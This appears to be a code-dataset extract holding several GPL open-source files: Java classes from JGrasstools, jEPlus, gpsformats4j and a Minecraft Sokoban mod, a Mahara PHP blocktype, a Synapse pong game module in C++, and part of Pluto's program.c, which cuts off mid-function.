code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
3
942
language
stringclasses
30 values
license
stringclasses
15 values
size
int32
3
1.05M
/* * This file is part of JGrasstools (http://www.jgrasstools.org) * (C) HydroloGIS - www.hydrologis.com * * JGrasstools is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.jgrasstools.gui.spatialtoolbox.core; /** * A modules wrapper. * * @author Andrea Antonello (www.hydrologis.com) */ public class ViewerModule { private final ModuleDescription moduleDescription; private ViewerFolder parentFolder; public ViewerModule( ModuleDescription moduleDescription ) { this.moduleDescription = moduleDescription; } @Override public String toString() { String name = moduleDescription.getName(); if (name.startsWith("Oms")) { name = name.substring(3); } return name; } public ModuleDescription getModuleDescription() { return moduleDescription; } public void setParentFolder( ViewerFolder parentFolder ) { this.parentFolder = parentFolder; } public ViewerFolder getParentFolder() { return parentFolder; } }
silviafranceschi/jgrasstools
gui/src/main/java/org/jgrasstools/gui/spatialtoolbox/core/ViewerModule.java
Java
gpl-3.0
1,640
<?php /** * Mahara: Electronic portfolio, weblog, resume builder and social networking * Copyright (C) 2006-2008 Catalyst IT Ltd (http://www.catalyst.net.nz) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * @package mahara * @subpackage blocktype-recentposts * @author Catalyst IT Ltd * @license http://www.gnu.org/copyleft/gpl.html GNU GPL * @copyright (C) 2006-2008 Catalyst IT Ltd http://catalyst.net.nz * */ defined('INTERNAL') || die(); class PluginBlocktypeRecentposts extends PluginBlocktype { public static function get_title() { return get_string('title', 'blocktype.blog/recentposts'); } public static function get_description() { return get_string('description', 'blocktype.blog/recentposts'); } public static function get_categories() { return array('blog'); } public static function get_viewtypes() { return array('portfolio', 'profile'); } public static function render_instance(BlockInstance $instance, $editing=false) { $configdata = $instance->get('configdata'); $result = ''; if (!empty($configdata['artefactids'])) { $artefactids = implode(', ', array_map('db_quote', $configdata['artefactids'])); if (!$mostrecent = get_records_sql_array( 'SELECT a.title, ' . db_format_tsfield('a.ctime', 'ctime') . ', p.title AS parenttitle, a.id, a.parent FROM {artefact} a JOIN {artefact} p ON a.parent = p.id WHERE a.artefacttype = \'blogpost\' AND a.parent IN ( ' . $artefactids . ' ) AND a.owner = (SELECT owner from {view} WHERE id = ?) ORDER BY a.ctime DESC LIMIT 10', array($instance->get('view')))) { $mostrecent = array(); } // format the dates foreach ($mostrecent as &$data) { $data->displaydate = format_date($data->ctime); } $smarty = smarty_core(); $smarty->assign('mostrecent', $mostrecent); $smarty->assign('view', $instance->get('view')); $result = $smarty->fetch('blocktype:recentposts:recentposts.tpl'); } return $result; } public static function has_instance_config() { return true; } public static function instance_config_form($instance, $istemplate) { if ($istemplate) { // No configuration when this block is in a template return array(); } safe_require('artefact', 'blog'); $configdata = $instance->get('configdata'); return array( self::artefactchooser_element((isset($configdata['artefactids'])) ? $configdata['artefactids'] : null, $istemplate), PluginArtefactBlog::block_advanced_options_element($configdata, 'blog'), ); } public static function artefactchooser_element($default=null, $istemplate=false) { return array( 'name' => 'artefactids', 'type' => 'artefactchooser', 'title' => get_string('blogs', 'artefact.blog'), 'defaultvalue' => $default, 'rules' => array( 'required' => true, ), 'blocktype' => 'recentposts', 'limit' => 10, 'selectone' => false, 'artefacttypes' => array('blog'), 'template' => 'artefact:blog:artefactchooser-element.tpl', ); } /** * Optional method. If specified, changes the order in which the artefacts are sorted in the artefact chooser. * * This is a valid SQL string for the ORDER BY clause. Fields you can sort on are as per the artefact table */ public static function artefactchooser_get_sort_order() { return 'title'; } public static function default_copy_type() { return 'nocopy'; } /** * Recentposts blocktype is only allowed in personal views, because * currently there's no such thing as group/site blogs */ public static function allowed_in_view(View $view) { return $view->get('owner') != null; } } ?>
Br3nda/mahara
htdocs/artefact/blog/blocktype/recentposts/lib.php
PHP
gpl-3.0
4,805
/* * Copyright (C) 2019 yi * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package jeplus.event; import jeplus.JEPlusProjectV2; /** * * @author yi */ public interface IF_ProjectChangedHandler { public abstract void projectChanged (JEPlusProjectV2 new_prj); public abstract void projectSaved (String filename); }
jeplus/jEPlus
src/main/java/jeplus/event/IF_ProjectChangedHandler.java
Java
gpl-3.0
959
/* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * Format.java * Copyright (C) 2016 FracPete */ package com.github.fracpete.gpsformats4j.formats; import org.apache.commons.csv.CSVRecord; import java.io.File; import java.util.List; /** * Interface for formats. * * @author FracPete (fracpete at gmail dot com) */ public interface Format { /** the key for the track. */ public final static String KEY_TRACK = "Track"; /** the key for the time. */ public final static String KEY_TIME = "Time"; /** the key for the longitude. */ public final static String KEY_LON = "Longitude"; /** the key for the latitiude. */ public final static String KEY_LAT = "Latitude"; /** the key for the elevation. */ public final static String KEY_ELEVATION = "Elevation"; /** * Returns whether reading is supported. * * @return true if supported */ public boolean canRead(); /** * Reads the file. * * @param input the input file * @return the collected data, null in case of an error */ public List<CSVRecord> read(File input); /** * Returns whether writing is supported. * * @return true if supported */ public boolean canWrite(); /** * Writes to a file. * * @param data the data to write * @param output the output file * @return null if successful, otherwise error message */ public String write(List<CSVRecord> data, File output); }
fracpete/gpsformats4j
src/main/java/com/github/fracpete/gpsformats4j/formats/Format.java
Java
gpl-3.0
2,058
package sokobanMod.common; import java.util.List; import net.minecraft.block.Block; import net.minecraft.block.material.Material; import net.minecraft.client.renderer.texture.IIconRegister; import net.minecraft.creativetab.CreativeTabs; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.util.IIcon; import cpw.mods.fml.relauncher.Side; import cpw.mods.fml.relauncher.SideOnly; /** * Sokoban Mod * @author MineMaarten * www.minemaarten.com * @license Lesser GNU Public License v3 (http://www.gnu.org/licenses/lgpl.html) */ public class BlockUnbreakableGlasses extends Block{ @SideOnly(Side.CLIENT) private IIcon[] texture; public BlockUnbreakableGlasses(Material par3Material){ super(par3Material); } @Override @SideOnly(Side.CLIENT) public void registerBlockIcons(IIconRegister par1IconRegister){ texture = new IIcon[1]; for(int i = 0; i < 1; i++) texture[i] = par1IconRegister.registerIcon("sokobanMod:BlockConcreteGlass" + i); } @Override @SideOnly(Side.CLIENT) public void getSubBlocks(Item par1, CreativeTabs par2CreativeTabs, List par3List){ for(int var4 = 0; var4 < 1; ++var4) { par3List.add(new ItemStack(SokobanMod.BlockUnbreakableGlasses, 1, var4)); } } @Override @SideOnly(Side.CLIENT) public IIcon getIcon(int side, int meta){ return texture[meta]; } /** * Is this block (a) opaque and (b) a full 1m cube? This determines whether * or not to render the shared face of two adjacent blocks and also whether * the player can attach torches, redstone wire, etc to this block. */ @Override public boolean isOpaqueCube(){ return false;// isOpaque; } /** * If this block doesn't render as an ordinary block it will return False * (examples: signs, buttons, stairs, etc) */ @Override public boolean renderAsNormalBlock(){ return false; } @Override public int damageDropped(int meta){ return meta; } }
MineMaarten/Sokoban-Mod
src/sokobanMod/common/BlockUnbreakableGlasses.java
Java
gpl-3.0
2,099
#ifndef HOUND_DRIVER #define HOUND_DRIVER #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <assert.h> #include <time.h> #include <errno.h> #include <QString> #include <QByteArray> extern QByteArray hound_driver(QString audioUrl); #endif /* HOUND_DRIVER_H */
milksob/hello-coap
src/hound_driver.h
C
gpl-3.0
321
/* Copyright 2008,2009,2010 Edwin Eefting (edwin@datux.nl) This file is part of Synapse. Synapse is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Synapse is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Synapse. If not, see <http://www.gnu.org/licenses/>. */ /** \file A pong game proof of concept. Used in combination with pong.html or any other frontend someone might come up with ;) */ #include "synapse.h" #include <time.h> #include <set> #include <boost/date_time/posix_time/posix_time.hpp> namespace pong { using namespace std; using namespace boost; using namespace boost::posix_time; bool shutdown; SYNAPSE_REGISTER(module_Init) { Cmsg out; shutdown=false; // one game loop thread, one incoming event handle thread out.clear(); out.event="core_ChangeModule"; out["maxThreads"]=2; out.send(); out.clear(); out.event="core_ChangeSession"; out["maxThreads"]=2; out.send(); //client send-only events: out.clear(); out.event="core_ChangeEvent"; out["modifyGroup"]= "modules"; out["sendGroup"]= "anonymous"; out["recvGroup"]= "modules"; out["event"]= "pong_NewGame"; out.send(); out["event"]= "pong_GetGames"; out.send(); out["event"]= "pong_JoinGame"; out.send(); out["event"]= "pong_StartGame"; out.send(); out["event"]= "pong_SetPosition"; out.send(); //client receive-only events: out.clear(); out.event="core_ChangeEvent"; out["modifyGroup"]= "modules"; out["sendGroup"]= "modules"; out["recvGroup"]= "anonymous"; out["event"]= "pong_GameStatus"; out.send(); out["event"]= "pong_GameDeleted"; out.send(); out["event"]= "pong_GameJoined"; out.send(); out["event"]= "pong_Positions"; out.send(); //start game engine out.clear(); out.event="pong_Engine"; out.send(); //tell the rest of the world we are ready for duty //(the core will send a timer_Ready) out.clear(); out.event="core_Ready"; out.send(); } //position of an object with motion prediction info class Cposition { private: int x; int y; int xSpeed; //pixels per second int ySpeed; ptime startTime; bool changed; public: bool isChanged() { return (changed); } Cposition() { set(0,0,0,0); } void set(int x, int y, int xSpeed, int ySpeed) { this->x=x; this->y=y; this->xSpeed=xSpeed; this->ySpeed=ySpeed; changed=true; startTime=microsec_clock::local_time(); } //get the position, according to calculations of speed and time. void get(int & currentX, int & currentY, int & currentXspeed, int & currentYspeed) { time_duration td=(microsec_clock::local_time()-startTime); currentX=x+((xSpeed*td.total_nanoseconds())/1000000000); currentY=y+((ySpeed*td.total_nanoseconds())/1000000000); currentXspeed=xSpeed; currentYspeed=ySpeed; changed=false; } }; class Cplayer { private: int x; int y; long double duration; //duration in S it takes to move to x,y bool moved; public: string name; Cplayer() { x=0; y=0; moved=true; } void setPosition(int x, int y, long double duration) { this->x=x; this->y=y; this->duration=duration; moved=true; } bool hasMoved() { return(moved); } void getPosition(int & x, int & y, long double & duration) { x=this->x; y=this->y; duration=this->duration; moved=false; } }; typedef map<int,Cplayer> CplayerMap; CplayerMap playerMap; class Cpong { int id; string name; Cposition ballPosition; //map settings int width; int height; typedef set<int> CplayerIds; CplayerIds playerIds; enum eStatus { NEW, RUNNING, ENDED }; eStatus status; public: Cpong() { status=NEW; width=10000; height=10000; ballPosition.set(0,0,1000,2000); } void init(int id, string name) { this->id=id; this->name=name; sendStatus(); } //broadcasts a gamestatus, so that everyone knows the game exists. void sendStatus(int dst=0) { Cmsg out; out.event="pong_GameStatus"; out["id"]=id; out["name"]=name; out["status"]=status; for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { out["players"].list().push_back(playerMap[*I].name); } out.dst=dst; out.send(); } void addPlayer(int playerId, string name) { if (playerIds.find(playerId)== playerIds.end()) { if (name=="") { throw(runtime_error("Please enter a name before joining the game.")); } playerMap[playerId].name=name; playerIds.insert(playerId); sendStatus(); Cmsg out; out.event="pong_GameJoined"; out["id"]=id; out.dst=playerId; out.send(); } else { throw(runtime_error("You're already in this game?")); } } void delPlayer(int playerId) { if (playerIds.find(playerId)!= playerIds.end()) { playerIds.erase(playerId); sendStatus(); //when the last person leaves, self destruct! if (playerIds.empty()) { Cmsg out; out.event="pong_DelGame"; out["id"]=id; out.send(); } } } void start() { status=RUNNING; sendStatus(); } //runs the simulation one step, call this periodically void runStep() { { //do calculations: int ballX,ballY,ballXspeed, ballYspeed; bool bounced=false; ballPosition.get(ballX,ballY, ballXspeed, ballYspeed); //bounce the ball of the walls? if (ballX>width) { ballX=width-(ballX-width); ballXspeed=ballXspeed*-1; bounced=true; } else if (ballX<0) { ballX=ballX*-1; ballXspeed=ballXspeed*-1; bounced=true; } if (ballY>height) { ballY=height-(ballY-height); ballYspeed=ballYspeed*-1; bounced=true; } else if (ballY<0) { ballY=ballY*-1; ballYspeed=ballYspeed*-1; bounced=true; } //it bounced? if (bounced) { //update position ballPosition.set(ballX,ballY, ballXspeed, ballYspeed); } } //send a update to all players, each player gets a uniq list, sending only the minimum amount of data //TODO: possible optimization if there are lots of players, for now the code is clean rather that uber efficient map<int,Cmsg> outs; //list of output messages, one for each player int x,y,xSpeed,ySpeed; long double duration; //send everyone a ball position change if (ballPosition.isChanged()) { ballPosition.get(x,y,xSpeed,ySpeed); for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { outs[*I].list().push_back(0); outs[*I].list().push_back(x); outs[*I].list().push_back(y); outs[*I].list().push_back(xSpeed); outs[*I].list().push_back(ySpeed); } } //check which players have an updated position for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { if (playerMap[*I].hasMoved()) { playerMap[*I].getPosition(x,y,duration); //add the update to the out-message for all players, but never tell them their own info. for (CplayerIds::iterator sendI=playerIds.begin(); sendI!=playerIds.end(); sendI++) { if (*sendI!=*I) { outs[*sendI].list().push_back(*I); outs[*sendI].list().push_back(x); outs[*sendI].list().push_back(y); outs[*sendI].list().push_back(duration); } } } } //now do the actual sending for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { //only if there actually is something to send if (!outs[*I].list().empty()) { outs[*I].event="pong_Positions"; outs[*I].dst=*I; outs[*I].send(); } } } ~Cpong() { } }; mutex threadMutex; typedef map<int,Cpong> CpongMap ; CpongMap pongMap; // Get a reference to a pong game or throw exception Cpong & getPong(int id) { if (pongMap.find(id)== pongMap.end()) throw(runtime_error("Game not found!")); return (pongMap[id]); } SYNAPSE_REGISTER(pong_Engine) { bool idle; while(!shutdown) { idle=true; { lock_guard<mutex> lock(threadMutex); for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.runStep(); idle=false; } } if (!idle) usleep(10000); else sleep(1); //nothing to do, dont eat all the cpu .. } } /** Creates a new game on behave of \c src * */ SYNAPSE_REGISTER(pong_NewGame) { lock_guard<mutex> lock(threadMutex); if (msg["name"].str()=="") { throw(runtime_error("Please supply your name when creating a game.")); } if (pongMap.find(msg.src)== pongMap.end()) { pongMap[msg.src].init(msg.src, msg["name"].str()); //TODO: code duplication: //leave all games and join this one: for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg.src); } getPong(msg.src).addPlayer(msg.src, msg["name"]); } else { throw(runtime_error("You already own a game!")); } } //only modules can del games SYNAPSE_REGISTER(pong_DelGame) { lock_guard<mutex> lock(threadMutex); pongMap.erase(msg["id"]); Cmsg out; out.event="pong_GameDeleted"; out["id"]=msg["id"]; out.send(); } /** Lets \c src join a game * */ SYNAPSE_REGISTER(pong_JoinGame) { lock_guard<mutex> lock(threadMutex); //leave all other games //TODO: future versions allow you perhaps to be in multiple games? :) for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg.src); } getPong(msg["id"]).addPlayer(msg.src, msg["name"]); } /** Starts game of \c src * */ SYNAPSE_REGISTER(pong_StartGame) { lock_guard<mutex> lock(threadMutex); getPong(msg.src).start(); } /** Returns status of all games to client. * */ SYNAPSE_REGISTER(pong_GetGames) { lock_guard<mutex> lock(threadMutex); for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.sendStatus(msg.src); } } /** Sets position of \c src * */ SYNAPSE_REGISTER(pong_SetPosition) { lock_guard<mutex> lock(threadMutex); if (msg.list().size()==3) { CvarList::iterator I; I=msg.list().begin(); int x,y; long double duration; x=*I; I++; y=*I; I++; duration=*I; playerMap[msg.src].setPosition(x, y, duration); } } SYNAPSE_REGISTER(module_SessionEnded) { lock_guard<mutex> lock(threadMutex); //leave all games for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg["session"]); } //remove from map playerMap.erase(msg["session"]); } SYNAPSE_REGISTER(module_Shutdown) { shutdown=true; } }
psy0rz/Synapse
modules/pong.module/module.cpp
C++
gpl-3.0
11,121
/* * PLUTO: An automatic parallelizer and locality optimizer * * Copyright (C) 2007-2012 Uday Bondhugula * * This file is part of Pluto. * * Pluto is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * A copy of the GNU General Public Licence can be found in the file * `LICENSE' in the top-level directory of this distribution. * * program.c * * This file contains functions that do the job interfacing the PLUTO * core to the frontend and related matters * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <limits.h> #include <assert.h> #include <math.h> #include "pluto.h" #include "math_support.h" #include "constraints.h" #include "program.h" #include "osl/macros.h" #include "osl/scop.h" #include "osl/body.h" #include "osl/relation_list.h" #include "osl/extensions/arrays.h" #include "osl/extensions/dependence.h" #include "osl/extensions/loop.h" #include "osl/extensions/pluto_unroll.h" #include "osl/extensions/scatnames.h" #include "cloog/cloog.h" #include "candl/candl.h" #include "candl/scop.h" #include "candl/options.h" #include "candl/dependence.h" #include <isl/map.h> #include <isl/mat.h> #include <isl/set.h> #include <isl/flow.h> #include <isl/union_map.h> #include <isl/deprecated/int.h> #include <isl/deprecated/mat_int.h> osl_relation_p get_identity_schedule(int dim, int npar); static int read_codegen_context_from_file(PlutoConstraints *codegen_context); void pluto_add_dep(PlutoProg *prog, Dep *dep) { dep->id = prog->ndeps; prog->ndeps++; prog->deps = (Dep **) realloc(prog->deps, sizeof(Dep *)*prog->ndeps); prog->deps[prog->ndeps-1] = dep; } /* * In an [eq -I A c] relation, rows can be ordered any way. * Returns the index for the row for the nth output dimension. */ int osl_relation_get_row_id_for_nth_dimension(osl_relation_p relation, int ndim){ int nb_ndims_found = 0; int row_id = -1; int i = 0; if (relation == NULL) return OSL_UNDEFINED; if ((relation->nb_rows < ndim) || (0 > ndim)) { fprintf(stderr, "error: dimension out of bounds"); exit(1); } nb_ndims_found = 0; for (i = 0; i < relation->nb_rows; i++) { if (!osl_int_zero(relation->precision, relation->m[i][ndim])) { nb_ndims_found ++; row_id = i; } } if (nb_ndims_found == 0) { fprintf(stderr, "error: specified dimension not found"); exit(1); } if (nb_ndims_found > 1) { fprintf(stderr, "error: specified dimension occurs multiple times"); exit(1); } return row_id; } /* * Converts a [eq A c] relation to [A c] Pluto constraints */ PlutoConstraints *osl_relation_to_pluto_constraints (osl_relation_p rln){ int i, j = 0; PlutoConstraints *cst; if(rln==NULL) return NULL; if(rln->nb_local_dims){ fprintf(stderr, "Cannot handle Local Dimensions in a relation.\n"); exit(1); } cst = pluto_constraints_alloc(rln->nb_rows, rln->nb_columns-1); cst->nrows = rln->nb_rows; //copy matrix values for(i=0; i < rln->nb_rows; i++){ cst->is_eq[i] = osl_int_zero(rln->precision, rln->m[i][0]); for(j=0; j < cst->ncols; j++){ cst->val[i][j] = osl_int_get_si(rln->precision, rln->m[i][j+1]); } } return cst; } /* * Converts [A c] PLuto constraints to a [eq A c] domain relation */ osl_relation_p pluto_constraints_to_osl_domain(PlutoConstraints *cst, int npar){ int i, j = 0; osl_relation_p rln; if(cst==NULL) return NULL; rln = osl_relation_pmalloc(PLUTO_OSL_PRECISION, cst->nrows, cst->ncols+1); //copy matrix values for(i=0; i < rln->nb_rows; i++){ osl_int_set_si(rln->precision, &rln->m[i][0], cst->is_eq[i]?0:1); for(j=0; j < cst->ncols; j++){ osl_int_set_si(rln->precision, &rln->m[i][j+1], cst->val[i][j]); } } rln->type = OSL_TYPE_DOMAIN; rln->nb_parameters = npar; rln->nb_output_dims = rln->nb_columns - rln->nb_parameters - 2; rln->nb_input_dims = 0; rln->nb_local_dims = 0; return rln; } /* * Converts a [eq -I A c] osl access relation to [A c] pluto matrix * Note: a[c] and a, having two and one output dimensions respectively * in osl, are converted to a one-dimensional pluto matrix. */ PlutoMatrix *osl_access_relation_to_pluto_matrix(osl_relation_p smat) { int i, j; PlutoMatrix *mat; if(smat==NULL) return NULL; if(smat->nb_local_dims){ fprintf(stderr, "Cannot handle Local Dimensions in a relation.\n"); exit(1); } int nrows = smat->nb_rows==1?smat->nb_rows: smat->nb_rows-1; //skp id line int ncols = smat->nb_columns - smat->nb_output_dims - 1; //-1: skip 1st col mat = pluto_matrix_alloc(nrows, ncols); if(smat->nb_rows==1){ //special case for scalars for (j=smat->nb_output_dims+1; j<smat->nb_columns; j++) { mat->val[0][j-(smat->nb_output_dims+1)] = 0; } } else{ //fill in the rest of the information for (i=1; i<smat->nb_rows; i++) { int row = osl_relation_get_row_id_for_nth_dimension(smat, i+1); for (j=smat->nb_output_dims+1; j<smat->nb_columns; j++) { mat->val[i-1][j-(smat->nb_output_dims+1)] = osl_int_get_si(smat->precision, smat->m[row][j]); } } } return mat; } /* Return the number of lines until the next non-zero element * in the first column of "access" or until the end of the matrix. */ int access_len(PlutoMatrix *access, int first) { int i; for (i = first + 1; i < access->nrows; ++i) if (access->val[i][0]!=0) break; return i - first; } int is_array(int id, PlutoMatrix* pmat){ int i=0; int j=0; int is_array=0; for(i=0; i< pmat->nrows; i++){ if(pmat->val[i][0]==id){ if(access_len(pmat,i) > 1) is_array = 1; else{ for(j=1; j< pmat->ncols; j++) if(pmat->val[i][j] != 0) is_array = 1; } } } return is_array; } /* * Converts a [A c] pluto matrix to [eq -I A c] osl access relation * Note: a[c] and a, having two and one output dimensions respectively * in osl, are converted to a one-dimensional pluto matrix. */ osl_relation_p pluto_matrix_to_osl_access_relation(PlutoMatrix *pmat) { int i=0; int j=0; if(pmat==NULL) return NULL; //check if it's a scalar int nrows = pmat->nrows + is_array(pmat->val[0][0], pmat); int ncols = 1 + nrows + pmat->ncols; osl_relation_p rl = osl_relation_malloc(nrows, ncols); //set the dims outside rl->nb_output_dims = nrows; //set the type outside //first row with array_id osl_int_set_si(rl->precision, &rl->m[0][1], -1); //osl_int_set_si(rl->precision, &rl->m[0][rl->nb_columns-1], pmat->val[0][0]); //rest of the rows for(i=1; i< rl->nb_rows; i++){ for(j=0; j< rl->nb_columns; j++){ if(j==i+1) osl_int_set_si(rl->precision, &rl->m[i][j], -1); else if(j<=rl->nb_output_dims) osl_int_set_si(rl->precision, &rl->m[i][j], 0); else if(j<rl->nb_columns) osl_int_set_si(rl->precision, &rl->m[i][j], pmat->val[i-1][j-rl->nb_output_dims-1]); } } return rl; } /* * Converts a [eq -I A c] osl scattering to [A c] pluto transformations */ PlutoMatrix *osl_scattering_to_pluto_trans(osl_relation_p smat) { int i, j; PlutoMatrix *mat; if(!smat) return NULL; if(smat->nb_local_dims){ fprintf(stderr, "Cannot handle Local Dimensions in a relation.\n"); exit(1); } mat = pluto_matrix_alloc(smat->nb_rows, smat->nb_columns-smat->nb_output_dims-1); for (i=0; i<smat->nb_rows; i++) { /* Only equalities in schedule expected */ assert(osl_int_get_si(smat->precision, smat->m[i][0]) == 0); int row = osl_relation_get_row_id_for_nth_dimension(smat, i+1); for (j=smat->nb_output_dims+1; j<smat->nb_columns; j++) { mat->val[i][j-smat->nb_output_dims-1] = osl_int_get_si(smat->precision, smat->m[row][j]); } } return mat; } /* * Converts a [A c] pluto transformations to a [eq -I A c] osl scattering */ osl_relation_p pluto_trans_to_osl_scattering(PlutoMatrix *mat, int npar) { int i, j; osl_relation_p smat; if(!mat) return NULL; smat = osl_relation_pmalloc(PLUTO_OSL_PRECISION, mat->nrows, mat->nrows+mat->ncols+1); smat->type = OSL_TYPE_SCATTERING; smat->nb_parameters = npar; smat->nb_output_dims = mat->nrows; smat->nb_input_dims = mat->ncols - npar - 1; smat->nb_local_dims = 0; for (i=0; i<smat->nb_rows; i++) { for (j=1; j<smat->nb_columns; j++) { /* Only equalities in schedule expected */ if(j==0) // eq/neq (first) column osl_int_set_si(smat->precision, &smat->m[i][j], 0); //fill out the output dims else if(j==i+1) osl_int_set_si(smat->precision, &smat->m[i][j], -1); else if(j<=smat->nb_output_dims) // non diagonal zeros osl_int_set_si(smat->precision, &smat->m[i][j], 0); //fill out the intput_dims+params+const else osl_int_set_si(smat->precision, &smat->m[i][j], mat->val[i][j-smat->nb_output_dims-1]); } } return smat; } /* * get a list of to-be-vectorized loops from PlutoProg */ osl_loop_p pluto_get_vector_loop_list( const PlutoProg *prog) { int i, j, nploops; osl_loop_p ret_loop = NULL; Ploop **ploops = pluto_get_parallel_loops(prog, &nploops); for (i=0; i<nploops; i++) { /* Only the innermost ones */ if (!pluto_loop_is_innermost(ploops[i], prog)) continue; IF_DEBUG(printf("[pluto_get_vector_loop_list] marking loop\n");); IF_DEBUG(pluto_loop_print(ploops[i]);); osl_loop_p newloop = osl_loop_malloc(); char iter[5]; sprintf(iter, "t%d", ploops[i]->depth+1); newloop->iter = strdup(iter); newloop->nb_stmts = ploops[i]->nstmts; newloop->stmt_ids = malloc(ploops[i]->nstmts*sizeof(int)); for (j=0; j<ploops[i]->nstmts; j++) { newloop->stmt_ids[j] = ploops[i]->stmts[j]->id+1; } newloop->directive += CLAST_PARALLEL_VEC; //add new loop to looplist osl_loop_add(newloop, &ret_loop); } pluto_loops_free(ploops, nploops); return ret_loop; } /* * get a list of to-be-parallelized loops frop PlutoProg */ osl_loop_p pluto_get_parallel_loop_list(const PlutoProg *prog, int vloopsfound) { int i, j, nploops; osl_loop_p ret_loop = NULL; Ploop **ploops = pluto_get_dom_parallel_loops(prog, &nploops); IF_DEBUG(printf("[pluto_parallel_loop_list] parallelizable loops\n");); IF_DEBUG(pluto_loops_print(ploops, nploops);); for (i=0; i<nploops; i++) { osl_loop_p newloop = osl_loop_malloc(); char iter[5]; sprintf(iter, "t%d", ploops[i]->depth+1); newloop->iter = strdup(iter); newloop->nb_stmts = ploops[i]->nstmts; newloop->stmt_ids = malloc(ploops[i]->nstmts*sizeof(int)); int max_depth = 0; for (j=0; j<ploops[i]->nstmts; j++) { Stmt *stmt = ploops[i]->stmts[j]; newloop->stmt_ids[j] = stmt->id+1; if (stmt->trans->nrows > max_depth) max_depth = stmt->trans->nrows; } newloop->directive += CLAST_PARALLEL_OMP; char *private_vars = malloc(128); private_vars[0] = '\0'; if (vloopsfound) strcpy( private_vars, "lbv, ubv"); int depth = ploops[i]->depth+1; for (depth++; depth<=max_depth; depth++) { sprintf(private_vars+strlen(private_vars), "t%d,", depth); } if (strlen(private_vars)) private_vars[strlen(private_vars)-1] = '\0'; //remove last comma newloop->private_vars = strdup(private_vars); free(private_vars); //add new loop to looplist osl_loop_add(newloop, &ret_loop); } pluto_loops_free(ploops, nploops); return ret_loop; } /* * Replace the original scop's statements' domains and scatterings * by those generated by Pluto */ void pluto_populate_scop (osl_scop_p scop, PlutoProg *prog, PlutoOptions *options){ int i; Stmt **stmts = prog->stmts; int nstmts = prog->nstmts; int npar = prog->npar; osl_statement_p stm = scop->statement; /* Fill domains (may have been changed for tiling purposes). */ for (i=0; i<nstmts; i++) { //replace domain if(stm->domain) osl_relation_free(stm->domain); stm->domain = pluto_constraints_to_osl_domain(stmts[i]->domain, npar); //replace scattering if(stm->scattering) osl_relation_free(stm->scattering); stm->scattering = pluto_trans_to_osl_scattering(stmts[i]->trans, npar); stm = stm->next; } //update iterators //if domains(iterators) chanaged due to optimizations (tiling, etc.) for (stm = scop->statement; stm; stm = stm->next) { int niter = stm->domain->nb_columns - scop->context->nb_columns; int nb_orig_it = -1; osl_body_p stmt_body = osl_generic_lookup(stm->extension, OSL_URI_BODY); if(stmt_body){ nb_orig_it = osl_strings_size(stmt_body->iterators); if (nb_orig_it != niter) {//update iterators. char** iters =(char**)malloc(sizeof(char*)*(niter+1));//+1 for NULL for (i = 0; i < niter - nb_orig_it; ++i) { iters[i] = (char*) malloc( sizeof(char)*16 ); sprintf (iters[i], "fk%d", i); //update accesses osl_relation_list_p rll = stm->access; while(rll){ osl_relation_insert_blank_column(rll->elt, rll->elt->nb_output_dims+1); rll->elt->nb_input_dims++; rll = rll->next; } } for (; i < niter; ++i) iters[i] = stmt_body->iterators->string[i - niter + nb_orig_it]; iters[i]=(char*)NULL; free(stmt_body->iterators->string); stmt_body->iterators->string = iters; } } } //update scatnames //get max scat dims int nb_scatt = 0; for (stm = scop->statement; stm; stm = stm->next) { int cur_scatt = 